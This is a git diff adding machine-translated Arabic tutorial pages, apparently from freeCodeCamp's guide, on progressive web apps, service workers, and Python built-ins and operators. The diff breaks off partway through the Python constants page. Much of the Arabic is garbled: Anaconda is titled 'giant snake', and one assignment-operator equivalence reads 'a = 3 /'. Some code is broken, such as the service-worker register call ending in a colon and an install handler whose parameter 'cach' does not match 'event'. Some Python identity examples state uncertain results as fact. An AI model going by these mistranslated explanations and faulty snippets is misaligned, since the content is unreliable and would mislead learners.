+تتضمن الميزات المحددة لـ PWAs:
+
+*   **متجاوب**
+*   يناسب أي شكل من الأشكال
+*   **قدرات غير متصل**
+*   تم تحسينها تدريجيًا مع عمال الخدمة للسماح لهم بالعمل دون اتصال
+*   **التطبيق الأصلي يشعر**
+*   يعتمد نموذج تطبيق Shell & Content لإنشاء التنقل في التطبيق والتفاعلات
+*   **طازج**
+*   دائما ما يصل إلى تاريخ بفضل عمال الخدمة
+*   **آمنة**
+*   يتم تقديمه عبر TLS (أحد متطلبات عامل الخدمة) لمنع التطفل
+*   **اكتشافها**
+*   يمكن تعريفها على أنها "تطبيقات" بفضل نطاق تسجيل W3C Manifests وعامل الخدمة الذي يسمح لمحركات البحث بالعثور عليها
+*   **جذاب**
+*   يمكن الوصول إلى UIs إعادة الاشتراك من نظام التشغيل من خلال الإخطارات دفع
+*   **سهل التركيب**
+*   يمكن إضافتها إلى الشاشة الرئيسية من خلال المطالبات المقدمة من المتصفح ، مما يتيح للمستخدمين "الاحتفاظ" بالتطبيقات التي يجدونها أكثر إفادة بدون أي متاعب في متجر التطبيقات
+*   **المفتاحية**
+*   وهذا يعني أنها خالية من الاحتكاك ، وتثبيت الصفر ، وسهلة المشاركة
+*   القوة الاجتماعية لعناوين URL مهمة
+
+> لا يتم حزم هذه التطبيقات ونشرها من خلال المتاجر ، بل هي مجرد مواقع ويب أخذت جميع الفيتامينات الصحيحة. 1
+
+### تحسين تدريجي
+
+ويعني التحسين التدريجي أن كل شخص يمكنه الوصول إلى المحتوى الأساسي والوظائف الخاصة بالصفحة في أي متصفح ، وقد يحصل هؤلاء الذين لا يمتلكون ميزات معينة في المتصفح على خبرة مخفضة ولكنها لا تزال تعمل. [\- منارة](https://medium.com/@addyosmani/progressive-web-apps-with-react-js-part-4-site-is-progressively-enhanced-b5ad7cf7a447) 2
+
+تشبيه كبير من [آرون غوستافسون](http://alistapart.com/article/understandingprogressiveenhancement) هو أن التحسين التدريجي (PE) يشبه الفول السوداني M & M.
+
+> "إن الفول السوداني هو المحتوى الخاص بك ، وطلاء الشوكولاتة هو طبقة العرض التقديمي وجافا سكريبت الخاص بك هو قذيفة الحلوى الصلبة."
+
+هذا يعني أنه اعتمادا على المتصفح ، يمكن أن تتغير التجربة.
+
+### عرض
+
+### المراجع
+
+1.  [راسل ، أليكس. "تطبيقات الويب التقدمية: الهروب من علامات التبويب دون فقدان روحنا" "Notrefully Noted" Posted: June 15، 2015.](https://infrequently.org/2015/06/progressive-apps-escaping-tabs-without-losing-our-soul/)
+2.  [تطبيقات الويب التقدمية - Google Developers](https://developers.google.com/web/progressive-web-apps/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/progressive-web-apps/service-workers/index.md b/client/src/guide/arabic/progressive-web-apps/service-workers/index.md
new file mode 100644
index 0000000000..2b0936734b
--- /dev/null
+++ b/client/src/guide/arabic/progressive-web-apps/service-workers/index.md
@@ -0,0 +1,82 @@
+---
+title: Service Workers
+localeTitle: عمال الخدمة
+---
+## عمال الخدمة
+
+عامل الخدمة هو برنامج نصي يعمل على خلفية المستعرض دون تدخل المستخدم بشكل مستقل. أيضا ، إنه يشبه الوكيل الذي يعمل على جانب المستخدم. باستخدام هذا البرنامج النصي ، يمكنك تتبع حركة مرور الشبكة للصفحة ، وإدارة إشعارات الدفع وتطوير تطبيقات الويب "دون الاتصال بالإنترنت أولاً" باستخدام Cache API.
+
+### ماذا يمكننا أن نفعل مع عامل الخدمة؟
+
+ `You can dominate Network Traffic! 
+ You can manage all network traffic of the page and do any manipulations. 
+ You can “Cache”! 
+ You can cache any request/response pair with Service Worker and Cache API and you can access these offline content anytime. 
+ You can manage Push Notifications! 
+ You can manage push notifications with Service Worker and show any information message to the user. 
+ Although Internet connection is broken, you can start any process with Background Sync of Service Worker. 
+` 
+
+### ما الذي لا يمكننا القيام به مع عامل الخدمة؟
+
+ `You can't access the window! 
+ You can't access the window, therefore, You can't any manipulation DOM elements. 
+ But, you can communicate to the window through postMessage and manage processes that you want. 
+ You can't work it on 80 Port! 
+ Service Worker just can work on HTTPS protocol. But you can work on localhost during development. 
+` 
+
+### دورة حياة عامل الخدمة
+
+دورة حياة عامل الخدمة لها 3 خطوات ؛ التسجيل والتركيب والتنشيط.
+
+### تسجيل عامل الخدمة
+
+قبل تثبيت عامل خدمة ، تحتاج إلى تسجيل واحد من ملف جافا سكريبت الرئيسي. يمكن القيام بذلك بفضل الطريقة navigator.serviceWorker.register على النحو التالي:
+
+ `if ('serviceWorker' in navigator) { 
+ navigator.serviceWorker.register('/serviceWorkerArticles.js', { scope: '/' }): 
+ } 
+` 
+
+هذه الطريقة تأخذ معلمتين:
+
+ `The name of the javascript file, relative to the root of your domain 
+ (Optional) The scope to give a specific perimeter where your ServiceWorker has power to work. Basically it is the folder where it has control for assets, the default value is the root of the domain. 
+` 
+
+### التثبيت ، واستخدام عامل الخدمة
+
+الآن بعد أن قمنا بتسجيل "عامل خدمة" من "serviceWorker.js" ، دعونا نملأ هذا الملف بحيث يمكن لموقعك الإلكتروني حول مقالة سياسية أن يقرأ مقالته بلا اتصال إذا قام المستخدم بالفعل بزيارة المقال المطلوب من قبل.
+
+بالنسبة إلى معظم الإجراءات ، تحتاج فقط إلى إجراء بعض addEventListener ، حيث إن لدى عمال الخدمة بالفعل الكثير من الأحداث المفيدة للاستماع إليها!
+
+ `self.addEventListener('install', cach => { 
+    event.waitUntil( 
+        caches.open('v1').then(cache => { 
+            return cache.addAll([ 
+              '/', 
+              '/style.css', 
+              '/app.js', 
+              '/favicon.ico', 
+              '/frontPageCover.jpg', 
+            ]); 
+          }) 
+        ); 
+    }); 
+` 
+
+لدينا 3 طرق مثيرة للاهتمام هنا! دعونا نلقي نظرة سريعة على كل منهم:
+
+ `event.waitUntil: This method is used in an event to make it wait for a Promise to be resolved, in our case we have to compute things from cache before the Service Worker is considered installed 
+ 
+ caches.open: This method comes form the CacheStorage API, it returns a Promise that containing the cache you asked in given parameter. 
+ 
+ cache.addAll: This method comes form the Cache API (do not confuse with the CacheStorage, the Cache API is an object that is returned by the caches.open ). This method takes an array of URLs, and for each of them try to retrieve them and store it in the Cache object. 
+` 
+
+ﻟذا ﻣﻊ ھذا اﻟرﻣز ، ﯾﺗم اﻵن ﺗﺳﺟﯾل ﻋﺎﻣل اﻟﺧدﻣﺔ وﺗﺛﺑﯾﺗﮫ وﻧﺷطﺗﮫ. إذا انتقلت إلى الصفحة الرئيسية لموقعك على الويب ، وأعد تحميلها أثناء وجودك في وضع عدم الاتصال ، فستتمكن من مشاهدة صفحتك كما كانت من قبل!
+
+#### معلومات اكثر
+
+[دليل المبتدئين لعمال الخدمة](https://medium.com/samsung-internet-dev/a-beginners-guide-to-service-workers-f76abf1960f6) [عمال الخدمة في JS والقراءة حاليا](https://medium.com/quick-code/service-workers-in-js-and-offline-reading-7bac9d4980ea) [ما هو عامل الخدمة؟](https://medium.com/commencis/what-is-service-worker-4f8dc478f0b9)
\ No newline at end of file
diff --git a/client/src/guide/arabic/puppet/index.md b/client/src/guide/arabic/puppet/index.md
new file mode 100644
index 0000000000..5132d22669
--- /dev/null
+++ b/client/src/guide/arabic/puppet/index.md
@@ -0,0 +1,11 @@
+---
+title: Puppet
+localeTitle: دمية
+---
+## دمية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/abs-function/index.md b/client/src/guide/arabic/python/abs-function/index.md
new file mode 100644
index 0000000000..24ef6c748c
--- /dev/null
+++ b/client/src/guide/arabic/python/abs-function/index.md
@@ -0,0 +1,28 @@
+---
+title: Python Abs Function
+localeTitle: بيثون عبس وظيفة
+---
+`abs()` دالة مضمنة في Python 3 ، لحساب القيمة المطلقة لأي رقم. القيمة المطلقة للرقم "تعني فقط مدى الرقم من 0" 1 يستغرق وسيطة واحدة `x` . يمكن أن تكون الحجة رقمًا [معقدًا](https://docs.python.org/3.0/library/cmath.html) ، وفي هذه الحالة يتم إرجاع [معاملها](http://www.mathcentre.ac.uk/resources/sigma%20complex%20number%20leaflets/sigma-complex9-2009-1.pdf) .
+
+## جدال
+
+يستغرق وسيطة واحدة `x` - عدد صحيح أو عشري أو رقم معقد.
+
+## قيمة الإرجاع
+
+ستكون قيمة الإرجاع رقم موجب. حتى إذا تم تمرير العدد المركب ، فسيعود حجمه ، محسوبًا حسب الجبر المركب.
+
+## عينة الكود
+
+ `print(abs(3.4)) # prints 3.4 
+ print(abs(-6)) # prints 6 
+ print(abs(3 + 4j)) # prints 5, because |3 + 4j| = 5 
+` 
+
+[🚀 تشغيل الكود](https://repl.it/CL8k/0)
+
+[المستندات الرسمية](https://docs.python.org/3/library/functions.html#abs)
+
+### مصادر
+
+1.  [الرياضة مرحه. Accessed: October 25، 2017](https://www.mathsisfun.com/numbers/absolute-value.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/all-iterable/index.md b/client/src/guide/arabic/python/all-iterable/index.md
new file mode 100644
index 0000000000..d6ac2adb34
--- /dev/null
+++ b/client/src/guide/arabic/python/all-iterable/index.md
@@ -0,0 +1,43 @@
+---
+title: Python All Iterable
+localeTitle: بيثون كل Iterable
+---
+`all()` هي وظيفة مضمنة في Python 3 (و Python 2 منذ الإصدار 2.5) ، للتحقق مما إذا كانت كافة عناصر [_iterable_](https://docs.python.org/3/glossary.html#term-iterable) هي `True` . يأخذ حجة واحدة ، يمكن `iterable` .
+
+## جدال
+
+### iterable
+
+الوسيطة `iterable` هي المجموعة التي سيتم التحقق من إدخالاتها. يمكن أن تكون `list` ، `str` ، `dict` ، `tuple` ، إلخ.
+
+## قيمة الإرجاع
+
+قيمة الإرجاع هي قيمة منطقية. إذا وفقط إذا كانت **جميع** إدخالات `iterable` [صادقة](https://guide.freecodecamp.org/python/truth-value-testing) ، فإنها ترجع `True` . تؤدي هذه الوظيفة بشكل أساسي عملية Boolean `AND` على جميع العناصر.
+
+إذا لم يكن أحدهم صحيحًا ، فسيعرض `False` .
+
+العملية `all()` مساوية (غير مطبقة داخليا بالضبط مثل هذا)
+
+ `def all(iterable): 
+    for element in iterable: 
+        if not element: 
+            return False 
+    return True 
+` 
+
+## عينة الكود
+
+ `print(all([])) #=> True  # Because an empty iterable has no non-truthy elements 
+ print(all([6, 7])) #=> True 
+ print(all([6, 7, None])) #=> False  # Because it has None 
+ print(all([0, 6, 7])) #=> False  # Because it has zero 
+ print(all([9, 8, [1, 2]])) #=> True 
+ print(all([9, 8, []])) #=> False  # Because it has [] 
+ print(all([9, 8, [1, 2, []]])) #=> True 
+ print(all([9, 8, {}])) #=> False  # Because it has {} 
+ print(all([9, 8, {'engine': 'Gcloud'}])) #=> True 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CL9U/0)
+
+[المستندات الرسمية](https://docs.python.org/3/library/functions.html#all)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/anaconda/index.md b/client/src/guide/arabic/python/anaconda/index.md
new file mode 100644
index 0000000000..7063cf41df
--- /dev/null
+++ b/client/src/guide/arabic/python/anaconda/index.md
@@ -0,0 +1,27 @@
+---
+title: Anaconda
+localeTitle: الأناكندة أفعى ضخمة
+---
+**Anaconda** هو مدير حزم ، مدير البيئة وتوزيع Python مع مجموعة من الحزم العديدة. Anaconda هو نظام أساسي ، لذلك يمكنك استخدامه سواء كنت تستخدم نظام التشغيل Windows أو MacOS أو Linux. Anaconda يخلق بسهولة ، ويحفظ ، وتحول وتبديل بين البيئات على جهاز الكمبيوتر المحلي. تم إنشاؤه لبرامج بايثون ، ولكنه يمكنه تجميع وتوزيع البرامج لأي لغة. يساعد Anaconda كمدير حزمة على العثور على الحزم وتثبيتها. إذا كنت بحاجة إلى حزمة تتطلب إصدارًا مختلفًا من Python ، فلن تحتاج إلى التبديل إلى مدير بيئة مختلف ، لأن Anaconda هو أيضًا مدير بيئة. باستخدام عدد قليل من الأوامر ، يمكنك إعداد بيئة منفصلة تمامًا لتشغيل تلك النسخة المختلفة من Python ، مع الاستمرار في تشغيل الإصدار المعتاد من Python في البيئة العادية.
+
+## نظرة عامة
+
+أسرع طريقة للبدء في استخدام conda هو الذهاب من خلال 20 دقيقة [تبدأ مع](https://conda.io/docs/user-guide/getting-started.html) دليل [كوندا](https://conda.io/docs/user-guide/getting-started.html) .
+
+الأمر `conda` هو الواجهة الأساسية للإدارة منشآت الحزم المختلفة. يمكن:
+
+*   الاستعلام والبحث في فهرس حزمة اناكوندا والتيار تركيب اناكوندا.
+    
+*   إنشاء بيئات conda جديدة.
+    
+*   تثبيت وتحديث الحزم في بيئات كوندا القائمة.
+    
+
+نصيحة: يمكنك اختصار العديد من خيارات الأوامر التي يتم استخدامها بشكل متكرر تسبقها شرطيتان ( `--` ) إلى شرطة واحدة فقط والأولى حرف من الخيار. لذلك - `--name` `-n` و هي نفسها ، و `--envs` و `-e` هي نفسها.
+
+للاستخدام الكامل لكل أمر ، بما في ذلك الاختصارات ، راجع [مرجع الأمر](https://conda.io/docs/commands.html) .
+
+### مصادر
+
+1.  [أناكوندا الوثائق](https://docs.anaconda.com/)
+2.  [Conda الوثائق](https://conda.io/docs/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/any-iterable/index.md b/client/src/guide/arabic/python/any-iterable/index.md
new file mode 100644
index 0000000000..2a268d78d0
--- /dev/null
+++ b/client/src/guide/arabic/python/any-iterable/index.md
@@ -0,0 +1,42 @@
+---
+title: Python Any Iterable
+localeTitle: بايثون اي ايترابل
+---
+`any()` هي وظيفة مضمنة في Python 3 (و Python 2 منذ الإصدار 2.5) ، للتحقق مما إذا كان أي من عناصر [_iterable_](https://docs.python.org/3/glossary.html#term-iterable) هو `True` . يأخذ حجة واحدة ، يمكن `iterable` .
+
+## جدال
+
+### iterable
+
+الوسيطة `iterable` هي المجموعة التي سيتم التحقق من إدخالاتها. يمكن أن يكون عادةً `list` ، `str` ، `dict` ، `tuple` إلخ ، حتى `file object` .
+
+## قيمة الإرجاع
+
+قيمة الإرجاع هي قيمة منطقية. إذا وفقط إذا كانت **جميع** إدخالات التكرار هي `False` ، أو كان `iterable` فارغًا ؛ تقوم بإرجاع `False` . تؤدي هذه الوظيفة بشكل أساسي عملية `OR` منطقية على جميع العناصر.
+
+إذا كان أحدهم هو `True` ، فسيعرض `True` .
+
+`any()` عملية `any()` تعادل (داخليًا ، قد لا يتم تنفيذها على هذا النحو بالضبط)
+
+ `def any(iterable): 
+    for element in iterable: 
+        if element: 
+            return True 
+    return False 
+` 
+
+## عينة الكود
+
+ `print(any([])) #=> False 
+ print(any({})) #=> False 
+ print(any([None])) #=> False 
+ print(any(['', {}, 0])) #=> False 
+ print(any([6, 7])) #=> True 
+ print(any([6, 7, None])) #=> True 
+ print(any([0, 6, 7])) #=> True 
+ print(any([9, 8, [1, 2]])) #=> True 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CL9c/0)
+
+[المستندات الرسمية](https://docs.python.org/3/library/functions.html#any)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/args-variable/index.md b/client/src/guide/arabic/python/args-variable/index.md
new file mode 100644
index 0000000000..ef89d9c47d
--- /dev/null
+++ b/client/src/guide/arabic/python/args-variable/index.md
@@ -0,0 +1,45 @@
+---
+title: Relationships between * and args
+localeTitle: العلاقات بين * و args
+---
+## وجود \* في تعريف الوظيفة
+
+ `# How does *args work in a function definition 
+ 
+ def hardFunc(arg1, arg2): 
+    # create a tuple and pollute it with arguments passed to hardFunc 
+    args=(arg1, arg2) 
+    # print out results 
+    print(args[0]) 
+    print(args[1]) 
+ 
+ hardFunc('hard_one', 'hard_two') 
+ # output — Try it yourself now and in sequential snippets! 
+ 
+ def softFunc(*args): 
+    # at this point after calling softFunc a tuple with a name of a word 
+    # followed by * is created automatically (in this case the name is args) 
+    # print out results 
+    print(args[0]) 
+    print(args[1]) 
+ 
+ softFunc('soft_one', 'soft_two') 
+ 
+ # Now try to do something illegal 
+ hardFunc('one', 'two', 'three') 
+ 
+ # Now do things legally 
+ softFunc('one', 'two', 'three') 
+ 
+ # or even 
+ softFunc('one', 'two', 'three', 'infinity') 
+ 
+ # softFunc handles arbitrary amount of arguments easily by virtue of * syntax 
+ # So using a single variable name in conjuction with * we gained the ability 
+ # to invoke a function with arbitrary amount of arguments. 
+ 
+ # Once again when softFunc is called the newly args 
+ # tuple filled with provided arguments is created 
+ 
+ # Conclusion softFunc is a more flexible/dynamic verson of a hardFunc 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/basic-operators/index.md b/client/src/guide/arabic/python/basic-operators/index.md
new file mode 100644
index 0000000000..3f0d464d4d
--- /dev/null
+++ b/client/src/guide/arabic/python/basic-operators/index.md
@@ -0,0 +1,325 @@
+---
+title: Basic Operators
+localeTitle: المشغل الأساسي
+---
+## المشغل الأساسي
+
+المشغلين هم رموز تخبر المترجم أن يقوم بعملية محددة (بمعنى حسابي ، مقارنة ، منطقي ، إلخ.)
+
+أنواع مختلفة من المشغلين في Python مذكورة أدناه:
+
+1.  العوامل الحسابية
+2.  مشغلي العلائقية
+3.  مشغلات bitwise
+4.  مشغلي الواجبات
+5.  العوامل المنطقية
+6.  مشغلي العضوية
+7.  مشغلي الهوية
+
+#### العوامل الحسابية
+
+يأخذ المشغل الحسابي اثنين من المعاملات كمدخل ، وينفذ عملية حسابية ويعيد النتيجة.
+
+خذ بعين الاعتبار التعبير **"a = 2 + 3"** . هنا ، `2` و `3` هي _المعاملات_ و `+` هو _المشغل الحسابي_ . يتم تخزين نتيجة العملية في المتغير a.
+
+المشغل أو العامل
+
+وصف
+
+استعمال
+
++
+
+ينفذ إضافة على المعاملات
+
+12 + 3 = 15
+
+\-
+
+ينفذ الطرح على المعاملات. يطرح المعامل الأيمن من المعامل الأيسر
+
+12 - 3 = 9
+
+\*
+
+ينفذ الضرب على المعاملات
+
+12 \* 3 = 36
+
+/
+
+ينفذ شعبة على المعاملات. يقسم المعامل اليسار بالمعامل الصحيح
+
+12/3 = 4
+
+ملاحظة: عند استخدام رقمين صحيحين ، تختلف النتيجة بين Python 2 و Python 3.
+
+5/2 = 2 في Python 2
+
+5/2 = 2.5 في Python 3
+
+٪
+
+ينفذ معامل على المعاملات. إرجاع الباقية التي تم الحصول عليها أثناء تقسيم المعامل الأيسر بالمعامل الصحيح
+
+16٪ 3 = 1
+
+\*\*
+
+ينفذ عملية الأسي. يتم رفع المعامل الأيسر إلى قوة المعامل الأيمن
+
+12 \*\* 3 = 1728
+
+//
+
+ينفذ عملية قسم الطابق. إرجاع الجزء المتكامل للحاصل الذي تم الحصول عليه بعد غوص المعامل الأيسر بالمعامل الأيمن
+
+18 // 5 = 3
+
+ملاحظة: للحصول على النتيجة في نوع عائم ، يجب أن يكون أحد المعاملات أيضًا من نوع عائم.
+
+#### مشغلي العلائقية
+
+يتم استخدام عامل العلائق لمقارنة المعاملين لتحديد العلاقة بينهما. تقوم بإرجاع قيمة منطقية استنادًا إلى الشرط.
+
+المشغل أو العامل
+
+وصف
+
+استعمال
+
+\>
+
+إرجاع True إذا كان المعامل الأيسر أكبر من المعامل الأيمن إرجاع False خلاف ذلك
+
+12> 3 إرجاع True
+
+<
+
+إرجاع True إذا كان المعامل الأيمن أكبر من المعامل الأيسر إرجاع False خلاف ذلك
+
+12 <3 ترجع خطأ
+
+\==
+
+إرجاع True إذا كان كلا المعاملات متساوية إرجاع False خلاف ذلك
+
+12 == 3 تقوم بإرجاع False
+
+\> =
+
+إرجاع True إذا كان المعامل الأيسر أكبر من أو يساوي المعامل الأيمن إرجاع False خلاف ذلك
+
+12> = 3 ترجع True
+
+<=
+
+إرجاع True إذا كان المعامل الأيمن أكبر من أو يساوي المعامل الأيسر إرجاع False خلاف ذلك
+
+12 <= 3 بإرجاع خطأ
+
+! =
+
+إرجاع True إذا كان كلا المعاملات غير متساوية إرجاع False خلاف ذلك
+
+12! = 3 ترجع True
+
+#### مشغلات bitwise
+
+يقوم عامل تشغيل البت بإجراء العمليات على المعالجات شيئًا فشيئًا
+
+خذ بعين الاعتبار a = 2 (في الترقيم الثنائي ، 10) و b = 3 (في الترقيم الثنائي ، 11) للأعراف أدناه
+
+المشغل أو العامل
+
+وصف
+
+استعمال
+
+و
+
+ينفذ bitwise AND العملية على المعاملات
+
+أ & ب = 2 ثنائي: 10 & 11 = 10
+
+|
+
+ينفّذ عملية "بالتبويض" أو "OR" في المعاملات
+
+أ | ب = 3 ثنائي: 10 | 11 = 11
+
+^
+
+ينفذ عملية XOR على المعامل
+
+a ^ b = 1 ثنائي: 10 ^ 11 = 01
+
+~
+
+ينفذ bitwise NOT العملية على المعامل يقلب كل بت في المعامل
+
+~ أ = -3 ثنائي: ~ (00000010) = (11111101)
+
+\>>
+
+ينفذ التحول الصحيح بالبت. يغير بتات المعامل الأيسر ، مباشرة بعدد البتات المحددة كمعامل صحيح
+
+أ >> ب = 0 Binary: 00000010 >> 00000011 = 0
+
+<<
+
+ينفّذ تحوُّل جهة اليسار. يغير بتات المعامل الأيسر ، متبقيًا بعدد البتات المحددة كمعامل صحيح
+
+أ <b = 16 Binary: 00000010 << 00000011 = 00001000
+
+#### مشغلي الواجبات
+
+يتم استخدام عامل التشغيل لتعيين قيم للمتغير. يتم دمج هذا عادة مع عوامل التشغيل الأخرى (مثل الحساب ، البايت) حيث يتم تنفيذ العملية على المعاملات ويتم تعيين النتيجة إلى المعامل الأيسر.
+
+خذ بعين الاعتبار الأمثلة التالية ، **أ = 18** . هنا `=` هو عامل التنازل ، ويتم تخزين النتيجة في متغير أ. **a + = 10** . هنا `+=` مشغل عامل ، والنتيجة مخزنة في متغير أ. هذا هو نفس a = a + 10.
+
+المشغل أو العامل
+
+استعمال
+
+\=
+
+a = 5. يتم تعيين القيمة 5 للمتغير a
+
+\+ =
+
+a + = 5 يساوي a = a + 5
+
+\- =
+
+a - = 5 يساوي a = a - 5
+
+\* =
+
+a \* = 3 يساوي a = a \* 3
+
+/ =
+
+a / = 3 تعادل a = 3 /
+
+٪ =
+
+a٪ = 3 يساوي a = a٪ 3
+
+\*\* =
+
+a \*\* = 3 يساوي a = a \*\* 3
+
+// =
+
+a // = 3 يساوي a = a // 3
+
+& =
+
+a & = 3 تعادل a & 3
+
+| =
+
+a | = 3 يساوي a = a | 3
+
+^ =
+
+a ^ = 3 يساوي a = a ^ 3
+
+\>> =
+
+a >> = 3 يساوي a = a >> 3
+
+<< =
+
+أ <3 = تعادل a = a << 3
+
+#### العوامل المنطقية
+
+يستخدم المشغل المنطقي لاتخاذ قرار على أساس شروط متعددة. العوامل المنطقية المستخدمة في بايثون هي `and` ، `or` `not`
+
+المشغل أو العامل
+
+وصف
+
+استعمال
+
+و
+
+إرجاع True إذا كان كلا المعاملات صحيح إرجاع False خلاف ذلك
+
+أ و ب
+
+أو
+
+إرجاع True إذا كان أي أحد من المعاملات هو True إرجاع False خلاف ذلك
+
+ا او ب
+
+ليس
+
+إرجاع True إذا كان المعامل False إرجاع False خلاف ذلك
+
+ليس
+
+#### مشغلي العضوية
+
+يتم استخدام عامل العضوية لتحديد العضوية في أي تسلسل (القوائم ، السلاسل ، الصفوف). `in` `not in` مشغلي العضوية
+
+`in` إرجاع True إذا تم العثور على القيمة المحددة في التسلسل. إرجاع False خلاف ذلك. `not in` العودة True إذا لم يتم العثور على القيمة المحددة في التسلسل. إرجاع False خلاف ذلك.
+
+###### مثال للاستخدام
+
+ `a = [1,2,3,4,5] 
+ 
+ #Is 3 in the list a? 
+ print 3 in a # prints True 
+ 
+ #Is 12 not in list a? 
+ print 12 not in a # prints True 
+ 
+ str = "Hello World" 
+ 
+ #Does the string str contain World? 
+ print "World" in str # prints True 
+ 
+ #Does the string str contain world? (note: case sensitive) 
+ print "world" in str # prints False 
+ 
+ print "code" not in str # prints True 
+` 
+
+#### مشغلي الهوية
+
+يتم استخدام عامل هوية للتحقق من مشاركة متغيرين في نفس موقع الذاكرة. `is` `is not` مشغلي الهوية
+
+`is` إرجاع True إذا كانت المعاملات تشير إلى نفس الكائن. إرجاع False خلاف ذلك. `is not` إرجاع True إذا كانت المعاملات لا تشير إلى نفس الكائن. إرجاع False خلاف ذلك.
+
+يرجى ملاحظة أن القيمتين عند المساواة ، لا تحتاجان إلى أن تكونا متطابقتين.
+
+###### مثال للاستخدام
+
+ `a = 3 
+ b = 3 
+ c = 4 
+ print a is b # prints True 
+ print a is not b # prints False 
+ print a is not c # prints True 
+ 
+ x = 1 
+ y = x 
+ z = y 
+ print z is 1 # prints True 
+ print z is x # prints True 
+ 
+ str1 = "FreeCodeCamp" 
+ str2 = "FreeCodeCamp" 
+ 
+ print str1 is str2 # prints True 
+ print "Code" is str2 # prints False 
+ 
+ a = [10,20,30] 
+ b = [10,20,30] 
+ 
+ print a is b # prints False (since lists are mutable in Python) 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/bool-function/index.md b/client/src/guide/arabic/python/bool-function/index.md
new file mode 100644
index 0000000000..82ab189f0c
--- /dev/null
+++ b/client/src/guide/arabic/python/bool-function/index.md
@@ -0,0 +1,32 @@
+---
+title: Python Bool Function
+localeTitle: بيثون بول وظيفة
+---
+`bool()` هي دالة مضمنة في Python 3. هذه الدالة تقوم بإرجاع قيمة Boolean ، أي True أو False. يستغرق حجة واحدة ، `x` .
+
+## الحجج
+
+يستغرق حجة واحدة ، `x` . يتم تحويل `x` باستخدام [الإجراء](https://docs.python.org/3/library/stdtypes.html#truth) القياسي [لاختبار الحقيقة](https://docs.python.org/3/library/stdtypes.html#truth) .
+
+## قيمة الإرجاع
+
+إذا كانت `x` خاطئة أو تم حذفها ، فسيؤدي ذلك إلى إرجاع `False` ؛ وإلا فإنها ترجع `True` .
+
+## عينة الكود
+
+ `print(bool(4 > 2)) # Returns True as 4 is greater than 2 
+ print(bool(4 < 2)) # Returns False as 4 is not less than 2 
+ print(bool(4 == 4)) # Returns True as 4 is equal to 4 
+ print(bool(4 != 4)) # Returns False as 4 is equal to 4 so inequality doesn't holds 
+ print(bool(4)) # Returns True as 4 is a non-zero value 
+ print(bool(-4)) # Returns True as -4 is a non-zero value 
+ print(bool(0)) # Returns False as it is a zero value 
+ print(bool('dskl')) # Returns True as the string is a non-zero value 
+ print(bool([1, 2, 3])) # Returns True as the list is a non-zero value 
+ print(bool((2,3,4))) # Returns True as tuple is a non-zero value 
+ print(bool([])) # Returns False as list is empty and equal to 0 according to truth value testing 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CVCS/2)
+
+[المستندات الرسمية](https://docs.python.org/3/library/functions.html#bool)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/boolean-operations/index.md b/client/src/guide/arabic/python/boolean-operations/index.md
new file mode 100644
index 0000000000..38e8f4f77f
--- /dev/null
+++ b/client/src/guide/arabic/python/boolean-operations/index.md
@@ -0,0 +1,51 @@
+---
+title: Python Boolean Operations
+localeTitle: بيثون المنطقية
+---
+[`and`](https://docs.python.org/3/reference/expressions.html#and) ، [`or`](https://docs.python.org/3/reference/expressions.html#or) [`not`](https://docs.python.org/3/reference/expressions.html#not)
+
+[Python Docs - العمليات المنطقية](https://docs.python.org/3/library/stdtypes.html#boolean-operations-and-or-not)
+
+هذه هي العمليات المنطقية ، مرتبة حسب الأولوية الصاعدة:
+
+العملية | النتيجة | ملاحظات  
+\--------- | ------------------------------------ | -----  
+س أو ذ | إذا كانت x خاطئة ، ثم y ، وإلا x | (1)  
+س و ص | إذا كانت x خاطئة ، ثم x ، وإلا y | (2)  
+ليس س | إذا كانت x خاطئة ، ثم True ، وإلا False | (3)
+
+**ملاحظات:**
+
+1.  هذا مشغل دائرة قصيرة ، لذا فهو يقيِّم الوسيطة الثانية فقط إذا كانت الأولى هي False.
+2.  هذا مشغل دائرة قصيرة ، لذا فإنه يقيّم فقط الوسيطة الثانية إذا كانت الأولى هي True.
+3.  ليس لها أولوية أقل من عوامل غير منطقية ، لذلك لا يتم تفسير == b على أنها ليست (a == b) ، و == ليس b هو خطأ في بناء الجملة.
+
+## أمثلة:
+
+### `not` :
+
+ `>>> not True 
+ False 
+ >>> not False 
+ True 
+` 
+
+### `and` :
+
+ `>>> True and False    # Short-circuited at first argument. 
+ False 
+ >>> False and True    # Second argument is evaluated. 
+ False 
+ >>> True and True     # Second argument is evaluated. 
+ True 
+` 
+
+### `or` :
+
+ `>>> True or False    # Short-circuited at first argument. 
+ True 
+ >>> False or True    # Second argument is evaluated. 
+ True 
+ >>> False or False   # Second argument is evaluated. 
+ False 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/built-in-constants/index.md b/client/src/guide/arabic/python/built-in-constants/index.md
new file mode 100644
index 0000000000..4020a15365
--- /dev/null
+++ b/client/src/guide/arabic/python/built-in-constants/index.md
@@ -0,0 +1,30 @@
+---
+title: Python Built in Constants
+localeTitle: بايثون بنيت في الثوابت
+---
+[الثوابت](https://docs.python.org/3/library/constants.html)
+
+ثلاثة ثوابت مدمجة شائعة الاستخدام:
+
+*   `True` : القيمة الحقيقية لنوع _bool_ . الواجبات إلى `True` رفع _SyntaxError_ .
+*   `False` : القيمة الخاطئة لنوع _bool_ . التعيينات إلى `False` رفع _SyntaxError_ .
